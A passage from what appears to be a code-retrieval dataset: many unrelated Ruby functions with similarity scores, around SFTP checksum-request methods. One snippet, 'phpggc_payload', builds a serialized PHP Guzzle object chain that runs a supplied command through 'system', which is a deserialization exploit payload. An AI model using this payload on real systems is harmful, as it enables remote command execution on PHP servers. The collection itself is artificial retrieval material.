"def extended_regex\n /^\n \\$? # Every extended-tag starts with $\n (#{first_start_tag} # followed by { -> ${\n [^\\d] # it _must_not_ be followed by a single digit\n .+(:|\\/).*? # it must have a colon or a slash in it \n # ${VAR1:default \n # it is closed by } -> ${VAR:default}\n #{SnipFu::Config[:regex_end_tag]}) \n $/xm\n end",
"def extended\n @extended ||= process_text(@raw_extended) if @raw_extended\n end",
"def extension(key)\r\n return nil unless @extensions.has_key?(key)\r\n return @extensions[key]\r\n end",
"def ext_to_hash\n JSON.parse(self)\n end",
"def get_extended(post)\n # Match the new style more links.\n matches = post.scan(/<!--more-->/i)\n if !matches.blank?\n main, extended = post.split(matches[0], 2)\n more_text = matches[1]\n else\n main = post\n extended = ''\n more_text = ''\n end\n\n # leading and trailing whitespace.\n main = main.gsub(/^[\\s]*(.*)[\\s]*$/, '\\\\1')\n extended = extended.gsub(/^[\\s]*(.*)[\\s]*$/, '\\\\1')\n more_text = more_text.gsub(/^[\\s]*(.*)[\\s]*$/, '\\\\1') unless more_text.nil?\n\n {main: main, extended: extended, more_text: more_text}\n end",
"def get_directives\n keep = {}\n l = @ext_name.length\n\n return keep if @directives.nil?\n return keep if @directives.empty?\n\n @directives.each do |k, v|\n if k[0, l] == @ext_name\n keep[k] = v\n next\n end\n\n new_key = \"#{@ext_name}.#{k}\"\n keep[new_key] = v\n end\n\n keep\n end",
"def extended_payload_length\n # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n # +-+-+-+-+-------+-+-------------+-------------------------------+\n # |F|R|R|R| opcode|M| Payload len | Extended payload length |\n # |I|S|S|S| (4) |A| (7) | (16/64) |\n # |N|V|V|V| |S| | (if payload len==126/127) |\n # | |1|2|3| |K| | |\n # +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +\n # | Extended payload length continued, if payload len == 127 |\n # + - - - - - - - - - - - - - - - +-------------------------------+\n # | |Masking-key, if MASK set to 1 |\n # +-------------------------------+-------------------------------+\n data = get\n case @need\n when 2\n @payload_length = data.unpack(\"S>\").first\n when 8\n @payload_length = data.unpack(\"Q>\").first\n else\n raise \"Unknown payload_length byte length '#{@need}'\"\n end\n\n if @masked\n # Read the mask next if there is one.\n transition(:mask, 4)\n else\n # Otherwise, next is the payload\n transition(:payload, @payload_length)\n end\n\n # This state yields no output.\n return nil\n end",
"def agg_pkt_map\n {}\n end",
"def xe_get_params(cmd)\n h = Hash.new\n invalid_keys = %w/last-boot-record \n other-config other \n software-version \n other\n platform\n cpu_info \n license-server \n recommendations /\n\n xe_open(cmd).each do |line|\n if line.match(/\\s(.*)\\s\\(.*\\):\\s(.*)/)\n k = $1.strip\n v = $2.strip\n k.gsub!(/{|}|<|>|\\[|\\]|(|)|'|\"/,'')\n next if invalid_keys.include?(k)\n k.strip!\n v.gsub!(/<|>|\\[|\\]|(|)|\\'|\\\"/,'')\n v=v.split(/;/) if v.match(/;/)\n v.to_s.each_line do |j|\n j.strip!\n if j.match(/([^:]*):(.*)/)\n # we have values that may be foo:bar that we need to sepparate into more k/v\n k2 = $1.strip\n\t next if invalid_keys.include?(k2)\n v2 = $2\n v2.strip!\n h.merge!({ k => { k2 => v2 }})\n else \n h[k] = v\n end\n end\n\n h.rehash\n end\n end\n return h\nend",
"def extensions\n data.extensions\n end",
"def decode_parts(raw_instruction)\n nnn = raw_instruction & 0x0fff\n kk = raw_instruction & 0x00ff\n x = (raw_instruction >> 8) & 0xf\n y = (raw_instruction >> 4) & 0xf\n n = raw_instruction & 0x000f\n {\n nnn: nnn,\n kk: kk,\n x: x,\n y: y,\n n: n\n }\nend",
"def passive\t\n\thash=Digest::MD5.hexdigest(@tagpattern)\n\t[{:name=>\"tag pattern hash\",:string=>hash}]\nend",
"def nsx_info\n nsx_info = ''\n nsx_obj = {}\n # In the future add more than one nsx manager\n extension_list = @vi_client.vim.serviceContent.extensionManager\n .extensionList\n extension_list.each do |ext_list|\n if ext_list.key == NSXDriver::NSXConstants::NSXV_EXTENSION_LIST\n nsx_obj['type'] = NSXDriver::NSXConstants::NSXV\n urlFull = ext_list.client[0].url\n urlSplit = urlFull.split(\"/\")\n # protocol = \"https://\"\n protocol = urlSplit[0] + \"//\"\n # ipPort = ip:port\n ipPort = urlSplit[2]\n nsx_obj['url'] = protocol + ipPort\n nsx_obj['version'] = ext_list.version\n nsx_obj['label'] = ext_list.description.label\n elsif ext_list.key == NSXDriver::NSXConstants::NSXT_EXTENSION_LIST\n nsx_obj['type'] = NSXDriver::NSXConstants::NSXT\n nsx_obj['url'] = ext_list.server[0].url\n nsx_obj['version'] = ext_list.version\n nsx_obj['label'] = ext_list.description.label\n else\n next\n end\n end\n unless nsx_obj.empty?\n nsx_info << \"NSX_MANAGER=\\\"#{nsx_obj['url']}\\\"\\n\"\n nsx_info << \"NSX_TYPE=\\\"#{nsx_obj['type']}\\\"\\n\"\n nsx_info << \"NSX_VERSION=\\\"#{nsx_obj['version']}\\\"\\n\"\n nsx_info << \"NSX_LABEL=\\\"#{nsx_obj['label']}\\\"\\n\"\n end\n nsx_info\n end",
"def nsx_info\n nsx_info = ''\n nsx_obj = {}\n # In the future add more than one nsx manager\n extension_list = @vi_client.vim.serviceContent.extensionManager\n .extensionList\n extension_list.each do |ext_list|\n if ext_list.key == NSXDriver::NSXConstants::NSXV_EXTENSION_LIST\n nsx_obj['type'] = NSXDriver::NSXConstants::NSXV\n urlFull = ext_list.client[0].url\n urlSplit = urlFull.split(\"/\")\n # protocol = \"https://\"\n protocol = urlSplit[0] + \"//\"\n # ipPort = ip:port\n ipPort = urlSplit[2]\n nsx_obj['url'] = protocol + ipPort\n nsx_obj['version'] = ext_list.version\n nsx_obj['label'] = ext_list.description.label\n elsif ext_list.key == NSXDriver::NSXConstants::NSXT_EXTENSION_LIST\n nsx_obj['type'] = NSXDriver::NSXConstants::NSXT\n nsx_obj['url'] = ext_list.server[0].url\n nsx_obj['version'] = ext_list.version\n nsx_obj['label'] = ext_list.description.label\n else\n next\n end\n end\n unless nsx_obj.empty?\n nsx_info << \"NSX_MANAGER=\\\"#{nsx_obj['url']}\\\"\\n\"\n nsx_info << \"NSX_TYPE=\\\"#{nsx_obj['type']}\\\"\\n\"\n nsx_info << \"NSX_VERSION=\\\"#{nsx_obj['version']}\\\"\\n\"\n nsx_info << \"NSX_LABEL=\\\"#{nsx_obj['label']}\\\"\\n\"\n end\n nsx_info\n end",
"def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end",
"def parse_handle_packet(packet)\n { :handle => packet.read_string }\n end",
"def extensions\n # ln_sn, value, critical\n [['subjectAltName', \"DNS:#{domain}\", false]]\n end",
"def extension(key)\n return nil unless @extensions\n sequence = @extensions[key] || @extensions[key = key.downcase]\n return sequence unless String === sequence\n @extensions[key] = sequence.split(HYPHEN) #lazy\n @extensions[key]\n end",
"def to_h\n extensions = {\n \"code\" => code,\n \"fieldName\" => field_name,\n \"conflicts\" => conflicts\n }\n\n super.merge({\n \"extensions\" => extensions\n })\n end",
"def extensions\n if @r509_extensions.nil?\n @r509_extensions = Extensions.wrap_openssl_extensions(self.cert.extensions)\n end\n\n @r509_extensions\n end",
"def parse_hash_packet(data)\n hashes = []\n\n algo = data.read_string\n size = case algo\n when \"md5\" then 128\n when \"sha256\" then 256\n when \"sha384\" then 284\n when \"sha512\" then 512\n else raise NotImplementedError, \"unsupported algorithm: #{algo}\"\n end\n\n while !data.eof? do\n hashes << data.read(size)\n end\n\n { :algo => algo, :hashes => hashes }\n end",
"def parse_gtp_data(gtptime, gtpdata, leading, options)\n header_flag = Hash.new\n gtp_header_param = Hash.new\n ret = Hash.new\n \n # Get Payload\n header_flag[:version] = (gtpdata[0].unpack(\"C\")[0] & 0b11100000) >> 5\n # Parse GTPv2-C \n if header_flag[:version] == 2\n header_flag[:piggybacking_flag] = (gtpdata[0].unpack(\"C\")[0] & 0b00010000) >> 4\n header_flag[:teid_flag] = (gtpdata[0].unpack(\"C\")[0] & 0b00001000) >> 3\n # Get GTP Flags\n gtp_header_param[:pkt_time] = gtptime\n gtp_header_param[:message_type] = gtpdata[1].unpack(\"c\")[0]\n gtp_header_param[:message_length] = gtpdata[2..3].unpack(\"n\")[0]\n # Check GTP correct packet size\n return ret if gtp_header_param[:message_length] != gtpdata[4..-1].size\n \n gtp_header_param[:teid] = gtpdata[4..7].unpack(\"N\")[0] if header_flag[:teid_flag] == 1\n header_flag[:teid_flag] == 0 ? offset = 4 : offset = 8 # change the length of header by the TEID Flag\n gtp_header_param[:sequence_number] = gtpdata[offset..offset+2].unpack(\"H*\")[0]\n sequence_number = gtp_header_param[:sequence_number]\n payload_body = gtpdata[offset+4..-1]\n gtp_header_param[:payload_size] = payload_body.size\n case gtp_header_param[:message_type]\n when CREATE_SESSION_REQUEST\n gtp_header_param[:req_res] = :REQUEST\n ret = parse_create_session_request_msg(payload_body, options, gtp_header_param)\n when CREATE_SESSION_RESPONSE\n gtp_header_param[:req_res] = :RESPONSE\n ret = parse_create_session_response_msg(payload_body, options, gtp_header_param)\n when MODIFY_BEARER_REQUEST\n gtp_header_param[:req_res] = :REQUEST\n ret = parse_modify_bearer_request_msg(payload_body, options, gtp_header_param)\n when MODIFY_BEARER_RESPONSE\n gtp_header_param[:req_res] = :RESPONSE\n ret = parse_modify_bearer_response_msg(payload_body, options, gtp_header_param) if options[:gtp_all]\n else\n return ret\n end\n\n key = gtp_header_param[:req_res] == :REQUEST ? :REQUEST : :RESPONSE\n return [] if (key == :REQUEST and !leading)\n\n @gtp_session ||= Hash.new\n return [] if (!leading and @gtp_session[sequence_number].nil?)\n \n @gtp_session[sequence_number] ||= {:REQUEST => {}, :RESPONSE => {}}\n @gtp_session[sequence_number][key] = gtp_header_param.merge(ret).dup\n ret = gtp_session_complete?(sequence_number) ? summarize_gtp_info(sequence_number, options) : []\n\n unless ret.empty?\n @gtp_session.delete sequence_number\n end\n end\n\n return ret\n end",
"def patches\n { :p0 => [\n 'http://trac.macports.org/export/61709/trunk/dports/net/ettercap-ng/files/patch-configure',\n 'http://trac.macports.org/export/61709/trunk/dports/net/ettercap-ng/files/patch-src-interfaces-curses-widgets-wdg.h',\n 'http://trac.macports.org/export/61709/trunk/dports/net/ettercap-ng/files/patch-src-Makefile.in',\n 'http://trac.macports.org/export/61709/trunk/dports/net/ettercap-ng/files/patch-src__protocols__ec_tcp.c',\n # Fixes missing symbols, libwdg doesn't seem to be linked in otherwise. I'm not even sure the macports package\n # will compile without this, haven't sullied my hands with an attempt though. :)\n DATA\n ]}\n end",
"def ext_obj\n \"ext(#{ext_channel}, #{ext_type}, #{ext_id})\"\n end",
"def characters\n chars = raw_characters\n extended ? chars.map{|c| EXTENDED_ENCODINGS[c].split(//) }.flatten : chars\n end",
"def extract_hash(str, pat, *matchvars)\n rc = {}\n\n # get the possibilities from the pattern\n namemap = pat.named_captures\n\n pat.match(str) do |m|\n matchvars.each { |var| rc[var] = m.values_at(namemap[var]) if namemap.key? var }\n end\n\n rc\n end",
"def real_extension(filename)\n ext = File.extname(filename)\n return ext if ext.empty?\n ext = ext[1, ext.length - 1].sub('.', '_').downcase\n e_s = ext.to_sym\n return ext unless ALT_EXTENSIONS.key?(e_s)\n ALT_EXTENSIONS[e_s].dup\n end",
"def to_h\n extensions = {\n \"code\" => code,\n \"argumentName\" => argument_name,\n \"argumentType\" => argument_type,\n \"inputObjectType\" => input_object_type,\n }\n\n super.merge({\n \"extensions\" => extensions\n })\n end",
"def parse_attrs_packet(packet)\n { :attrs => attribute_factory.from_buffer(packet) }\n end",
"def extension\n message_descriptor_proto.extension\n end",
"def plist_edid_patch( sp, offset, bytes )\n p = []\n p.push \"#{sp}<dict>\"\n p.push plist_key_value( sp + \" \", \"offset\", \"integer\", offset )\n p.push plist_key_value( sp + \" \", \"data\", \"data\", Base64.strict_encode64( bytes.pack('C*') ).to_s )\n p.push \"#{sp}</dict>\"\n return p\n end",
"def ext_config\n config[:ext_config] || {}\n end",
"def features\n features = {}\n sexp_newtype_block.each do |s|\n if s[0] == :command and\n s[1][0..1] == [:@ident, \"feature\"] and\n s[2][0] == :args_add_block\n\n name = s[2][1][0][1][1][1]\n desc = s[2][1][1][1][1][1]\n\n features[name] = desc\n end\n end\n\n features\n end",
"def extension_fields\n @extension_fields ||= ExtensionFields.new\n end",
"def supported_extensions\n\t\treturn self.supported_extension_oids.collect {|oid| EXTENSION_NAMES[oid] || oid }\n\tend",
"def parse_name_packet(packet)\n names = []\n\n packet.read_long.times do\n filename = packet.read_string\n longname = packet.read_string\n attrs = attribute_factory.from_buffer(packet)\n names << name_factory.new(filename, longname, attrs)\n end\n\n { :names => names }\n end",
"def gp_development_keys\n key = (0x40..0x4F).to_a.pack('C*')\n { :senc => key, :smac => key, :dek => key }\n end",
"def do_version(packet)\n debug { \"negotiating sftp protocol version, mine is #{HIGHEST_PROTOCOL_VERSION_SUPPORTED}\" }\n server_version = packet.read_long\n debug { \"server reports sftp version #{server_version}\" }\n negotiated_version = [server_version, HIGHEST_PROTOCOL_VERSION_SUPPORTED].min\n info { \"negotiated version is #{negotiated_version}\" }\n extensions = {}\n until packet.eof?\n name = packet.read_string\n data = packet.read_string\n extensions[name] = data\n end\n @protocol = Protocol.load(self, negotiated_version)\n @pending_requests = {}\n @state = :open\n @on_ready.each { |callback| callback.call(self) }\n @on_ready = nil\n end",
"def modhash\n Reddit::Base.modhash\n end",
"def add_encoded_extension(encoded); end",
"def parse_extensions(fhir_formulary_extensions = [])\n\t\t# extensions = fhir_formulary.extension\n\t\t# if extensions.present?\n fhir_formulary_extensions.each do |extension|\n if extension.url.include?(\"DrugTierID\")\n @drug_tier = coding_to_string(extension.valueCodeableConcept&.coding).downcase\n elsif extension.url.include?(\"PharmacyType\")\n pharmacy_type = coding_to_string(extension.valueCodeableConcept&.coding).downcase\n if pharmacy_type.include?(\"mail\")\n @mailorder = true\n @mail_supplies << pharmacy_type\n end\n elsif extension.url.include?(\"PriorAuthorization-extension\")\n @prior_auth = extension.valueBoolean\n elsif extension.url.include?(\"PriorAuthorizationNewStartsOnly\")\n @prior_auth_newstart = extension.valueBoolean\n elsif extension.url.include?(\"StepTherapyLimit-extension\")\n @step_therapy = extension.valueBoolean\n elsif extension.url.include?(\"StepTherapyLimitNewStartsOnly\")\n @step_therapy_newstart = extension.valueBoolean\n elsif extension.url.include?(\"QuantityLimit-extension\")\n @quantity_limit = extension.valueBoolean\n elsif extension.url.include?(\"AvailabilityPeriod\")\n @availability_period = period_to_string(extension.valuePeriod)\n elsif extension.url.include?(\"FormularyReference\")\n @plan_id = parse_reference_id(extension.valueReference&.reference)\n @plan = formularies_byid[plan_id&.to_sym]\n # @plan_id_path = \"/coverageplans/#{plan_id}\"\n # @plan_id_name = plan[:name]\n end\n end\n\t\t# else\n\t\t\t# @drug_tier = \"Required extensions not specified\"\n\t\t# end\n\tend",
"def extract_hash\n\n value = @array.extract_hash if @array\n value = @valueItem.extract_hash if @valueItem\n value = @map.extract_hash if @map\n\n @text = value\n\n return if @type == 'index'\n return if @type == 'hidden'\n return if @type == 'version'\n return if @type == 'class'\n return if @type == 'method'\n return if @type == 'import'\n return if @type == 'allow'\n return if @type == 'expect'\n\n formatted_key = Substitutions.process UnicodeEscapes.process @key\n {formatted_key => @text}\n end",
"def extract_data code, messages\n hash = {}\n code.scan(/say_reply\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['replies'] ||= []) << text\n }\n code.scan(/message_str\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['used'] ||= []) << text\n }\n code.scan(/option[(].*?,.*?, (\\d+), (.*?),/).\n each {|(id,node)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['options'] ||= []) << {node => text}\n }\n code.scan(/say_message\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['messages'] ||= []) << text\n }\n code.scan(/call (.*);/).each { |(name)|\n (hash['calls'] ||= []) << name\n }\n hash\nrescue\n p code\n p messages\n raise\nend",
"def get_puppet_config\n system_config = %x{puppet config print}\n\n config_hash = Hash.new\n\n system_config.each_line do |line|\n k,v = line.split('=')\n config_hash[k.strip] = v.strip\n end\n\n return config_hash\nend",
"def packetParse p\n # Check channel value to ensure we are dealing with an IM message\n if p[25..25].unpack(\"C\")[0] == 1\n\n # Find the length of the screenname\n snLength = p[26..26].unpack(\"c\")\n # Find the screenname\n sn = p[27..(27 + snLength[0])]\n\n\n # Check to see if we are receiving a message\n if p[9..9].unpack(\"c\")[0] == 7\n # The receiving message will always be contained 26 bytes after the screenname\n msgStart = 27 + snLength[0] + 26\n\n # We must be sending a message\n elsif p[9..9].unpack(\"c\")[0] == 6\n # The packet contains the recipients screenname, so let's just rename the sender to 'sender'\n sn = \"Sender\"\n msgStart = 27 + snLength[0] + 20\n \n # This isn't an IM packet, so exit\n else\n return nil\n end\n \n # Pull the message out of the packet data\n msg = p[msgStart..(p.length-4)]\n # Strip out any unprintable binary data\n msg = msg.gsub(/[^[:print:]]/, '')\n \n \n return [sn, msg] \n \n end\n \nend",
"def priv_key\n key = master_ext_key.derive(PURPOSE_TYPE, true).derive(Tapyrus.chain_params.bip44_coin_type, true)\n\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(key) { |key, p| key.derive(p) }\n end",
"def extension_fields\n self.class.extension_fields\n end",
"def parse_auth_keys\n tuples = config.scan(AUTH_KEY_REGEXP)\n hsh = {}\n tuples.map do |(key, algorithm, mode, password)|\n hsh[key] = {\n algorithm: algorithm,\n mode: mode,\n password: password\n }\n hsh[key]\n end\n\n { auth_keys: hsh }\n end",
"def kv_decode(s); Hash[*s.split(10.chr).map {|l| l.split(\":\", 2) }.flatten] end",
"def parse_extension_start_tag(type); end",
"def extensions\n @config[:extensions]\n end",
"def hash_decoder\n hash_params = current_resource.info['rep:password'].match(\n /^\\{(?<algo>.+)\\}(?<salt>\\w+)-(?<iter>(\\d+)-)?(?<hash>\\w+)$/\n )\n\n raise('Unsupported hash format!') unless hash_params\n\n hash_params\n end",
"def accept_kexinit(packet); end",
"def extension_params\n params.require(:extension).permit(:name, :description, :date_start, :date_end, :state_id, :manager_id, :extension_type_id, :career_id)\n end",
"def [](key)\n @extensions_for.\n find_all {|data_type, _| key.to_s.start_with?(data_type) }.\n flat_map {|_, extensions| extensions }\n end",
"def get_extensions\n get_siteinfo('extensions')['query']['extensions'].collect { |e| e['name'] }\n end",
"def payload_extended_options\n opts['Payload'] ? opts['Payload']['ExtendedOptions'] : nil\n end",
"def extended_key_usage\n if self.extensions.has_key?(\"extendedKeyUsage\") and self.extensions[\"extendedKeyUsage\"].count > 0 and self.extensions[\"extendedKeyUsage\"][0].has_key?(\"value\")\n self.extensions[\"extendedKeyUsage\"][0][\"value\"].split(\",\").map{|v| v.strip}\n else\n []\n end\n end",
"def by_extension(ext); end",
"def readHookups(rack)\n info = Hash.new();\n result = `/home/obs/ruby/bin/fxconf.rb hookup_tab #{rack}`;\n result.each do |line|\n if(line == nil || line.length < 10) then next end;\n #puts line.chomp!;\n parts = line.split(/\\s+/);\n ibobName = parts[5].split(\".\")[0];\n antName = parts[7][0..1];\n polName = parts[7][2..2];\n inputNum = parts[5].split(\".\")[1].split(\":\")[1][-1,1];\n walsh = parts[12];\n polNum = parts[3];\n #puts ibobName + \",\" + antName + \",\" + polName + \",\" + inputNum;\n\n antAttemp = info[antName];\n if(antAttemp == nil) \n antAttemp = AntAttemp.new(antName);\n info[antName] = antAttemp;\n end\n\n antAttemp.add(polName, polNum, ibobName, inputNum, walsh, rack);\n\n end\n return info;\n end"
] | [
"0.5811842",
"0.5598262",
"0.51460224",
"0.51246023",
"0.4969804",
"0.4839078",
"0.48181564",
"0.47671425",
"0.47301418",
"0.46752375",
"0.4668906",
"0.45981592",
"0.45802647",
"0.4528711",
"0.45281646",
"0.4495789",
"0.44913307",
"0.44865093",
"0.44624978",
"0.44499478",
"0.4442675",
"0.4420953",
"0.44204682",
"0.44202852",
"0.43964455",
"0.43538767",
"0.43474424",
"0.43249938",
"0.43209076",
"0.4302155",
"0.4288046",
"0.42841762",
"0.4278856",
"0.42784435",
"0.42699832",
"0.4256747",
"0.42534608",
"0.42405206",
"0.4236848",
"0.423647",
"0.4226256",
"0.42131147",
"0.42122546",
"0.419448",
"0.41887978",
"0.41868258",
"0.41842762",
"0.4182871",
"0.41810128",
"0.41777298",
"0.41616076",
"0.41611603",
"0.41563755",
"0.41563755",
"0.4145621",
"0.41278583",
"0.4127163",
"0.41164675",
"0.41118658",
"0.4098995",
"0.40833357",
"0.40795213",
"0.40685767",
"0.40676522",
"0.4067217",
"0.40665662",
"0.40659213",
"0.40641078",
"0.4054811",
"0.40412685",
"0.40309235",
"0.4028302",
"0.4019313",
"0.40161136",
"0.40140516",
"0.40122986",
"0.40117484",
"0.39874727",
"0.39851847",
"0.39847663",
"0.39843217",
"0.39837098",
"0.39820796",
"0.39811423",
"0.39773768",
"0.3976975",
"0.39727825",
"0.39690298",
"0.39622077",
"0.3954555",
"0.3953883",
"0.394789",
"0.3942593",
"0.39365828",
"0.39315107",
"0.39249003",
"0.3920908",
"0.39208838",
"0.3914977",
"0.39028382"
] | 0.6600898 | 0 |
Sends a FXP_EXTENDED packet to the server to request MD5 checksum computation for file (or portion of file) obtained on the given +handle+, for the given byte +offset+ and +length+. The +quick_hash+ parameter is the hash over the first 2048 bytes of the data. It allows the server to quickly check if it is worth the resources to hash a big file. | def md5(handle, offset, length, quick_hash)
send_request(FXP_EXTENDED, :string, "md5-hash-handle", :int64, offset, :int64, length, :string, quick_hash)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash(handle, offset, length, block_size=0)\n if block_size != 0 && block_size < 255\n block_size = 256\n end\n send_request(FXP_EXTENDED, :string, \"check-file-handle\", :string, handle, :string, \"md5,sha256,sha384,sha512\", :int64, offset, :int64, length, :long, block_size)\n end",
"def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend",
"def upstream_md5=( checksum )\n @digest = Crate::Digest.md5( checksum )\n end",
"def file_remote_digestmd5(file_name)\n data = read_file(file_name)\n chksum = nil\n if data\n chksum = Digest::MD5.hexdigest(data)\n end\n return chksum\n end",
"def fetch_md5\n # Create a hash digest for the current file.\n digest = Digest::MD5.new\n File.open(@path, 'r') do |handle|\n while buffer = handle.read(1024)\n digest << buffer\n end\n end\n digest\n end",
"def checksum_handler(file_path, hash_db, hash_class, _bit_size, debugmode, samefolder)\n # Reference for hash banner to notice wat function is using\n reference_banner = {1 => \"SHA1\", 2 => \"SHA2-#{_bit_size}\", 5 => \"MD5\"}[hash_class]\n # returns path as the script was in the same folder\n if samefolder\n samefolder = getfolder file_path\n end\n # Puts hash class that is really a hash function that is going to be used\n if debugmode\n puts reference_banner\n end\n # Write to target if is stablished\n if hash_db.is_a? String\n # Handler for the next writes\n file_object = File.open hash_db, 'w'\n # Write the banner; useful for compare mode\n file_object.write \"#{reference_banner}\\n\"\n else\n # When not file is set\n file_object = nil\n end\n # Stablish the hash class\n hash_class = {1 => Digest::SHA1, 2 => Digest::SHA2, 5 => Digest::MD5}[hash_class]\n # Recursive mode also works with files\n recursive_checksum file_path, hash_class, _bit_size, file_object, debugmode, samefolder\n # If we are redirecting the hashes to a file finally close it\n if file_object\n file_object.close\n end\nend",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def hexdigest\n # Read bytes in chunks of the optimal digest size.\n while (chunk = @io.read(@digest.block_length))\n @digest.update(chunk)\n end\n @digest.hexdigest\n end",
"def send_checksum(command, options = {})\n\t\t#\n\t\t# Prepare command for sending\n\t\t#\n\t\tcommand = str_to_array(hex_to_byte(command)) unless command.class == Array\n\t\tcheck = 0\n\t\tcommand.each do |byte|\t# Loop through the first to second last element\n\t\t\tcheck = (check + byte) & 0xFF\n\t\tend\n\t\tcommand << check\n\t\tsend(command, options)\n\tend",
"def verifyMD5sum\n\n oldMD5sum = ''\n \n self.audioMD5sum if ! @audioMD5sum # compute MD5sum if it's not computed yet\n\n base = @basename.sub( /(.)\\.[^.]+$/ , '\\1') # remove suffix from audio-file\n base += '.md5' # add new suffix .md5\n md5name = File.join(@dirname,base)\n \n # if a MD5-file doesn't exist, we should create one and return TRUE ...\n if File.exists?(md5name)\n File.open( md5name ,\"r\") { |f| \n oldname,oldMD5sum = f.readline.split # read old MD5-sum\n }\n else\n oldMD5sum = self.writeMD5sum # create MD5-file and return true..\n end\n @audioMD5sum == oldMD5sum\n \n end",
"def check_hash=(flag)\r\n @conf[:use_md5_digest] = flag\r\n end",
"def md5; Digest::MD5.file(fname).hexdigest; end",
"def update_user_md5_extended_details\n\n @old_md5_ethereum_address = md5_user_extended_detail.ethereum_address\n md5_user_extended_detail.ethereum_address = Md5UserExtendedDetail.using_client_shard(client: @client).\n get_hashed_value(@new_ethereum_address)\n md5_user_extended_detail.save!\n\n success\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def query_filetransfer_transfer_block(sock_num, size)\n query = \"QUERY_FILETRANSFER #{sock_num}#{FIELD_SEPARATOR}REQUEST_BLOCK#{FIELD_SEPARATOR}#{size}\"\n send(query)\n end",
"def parse\n _magic, command, length, checksum = @buffer.unpack('a4A12Va4')\n payload = @buffer[HEAD_SIZE...HEAD_SIZE + length]\n if Digest::SHA256.digest(Digest::SHA256.digest(payload))[0...4] != checksum\n return if payload.size < length\n raise 'TODO: handle checksum error'\n end\n @buffer = @buffer[HEAD_SIZE + length..-1] || ''\n handler.send \"handle_#{command}\", payload\n [email protected]?\n end",
"def md5sum(path)\n digest, buf = Digest::MD5.new, \"\"\n File.open(path) do |f|\n while f.read(4096, buf)\n digest.update(buf)\n end\n end\n digest.hexdigest\n end",
"def md5\n headers['Content-MD5']\n end",
"def digestmd5(file2md5)\n if not ::File.exists?(file2md5)\n raise \"File #{file2md5} does not exists!\"\n else\n require 'digest/md5'\n chksum = nil\n chksum = Digest::MD5.hexdigest(::File.open(file2md5, 'rb') { |f| f.read })\n return chksum\n end\n end",
"def checksum64(io)\n Base64.encode64([checksum(io)].pack(\"H*\")).strip\n end",
"def get_md5sum(file)\n get_sum(file, 'md5')\n end",
"def md5_sum(key)\n md5 = Digest::MD5.new\n buffer = ''\n with_input_io(key) do |io|\n while io.read(65536, buffer)\n md5 << buffer\n end\n end\n md5.base64digest\n end",
"def findLargeHash(f)\r\n incr_digest = Digest::SHA1.new()\r\n file = File.open(f, \"rb\")\r\n count = 0\r\n file.each_line do |line|\r\n if count == 1\r\n incr_digest << line\r\n end\r\n count = count + 1\r\n if count >= 2\r\n break\r\n end\r\n end\r\n return incr_digest.hexdigest + File.size(f).to_s(16)\r\nend",
"def validate_image_md5sum\n result = true\n if upload_md5sum.present? && save_to_temp_file\n sum = File.open(upload_temp_file) do |f|\n Digest::MD5.hexdigest(f.read)\n end\n if sum == upload_md5sum\n result = true\n else\n errors.add(:image, :validate_image_md5_mismatch.\n t(actual: sum.split.first, expect: upload_md5sum))\n result = false\n end\n end\n result\n end",
"def digest\n Digest::MD5.digest(blob)\n end",
